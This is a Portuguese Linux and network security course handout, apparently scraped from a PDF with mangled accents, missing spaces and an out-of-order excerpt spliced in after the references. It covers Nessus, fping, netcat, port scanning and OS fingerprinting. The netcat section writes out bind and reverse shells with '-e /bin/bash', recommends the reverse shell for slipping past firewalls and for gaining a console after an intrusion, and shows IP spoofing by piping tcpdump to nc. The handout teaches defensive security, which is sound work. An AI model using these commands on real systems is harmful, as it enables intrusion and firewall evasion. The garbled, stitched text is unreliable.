rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 38: Curso de segurança em linux e redes em geral

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

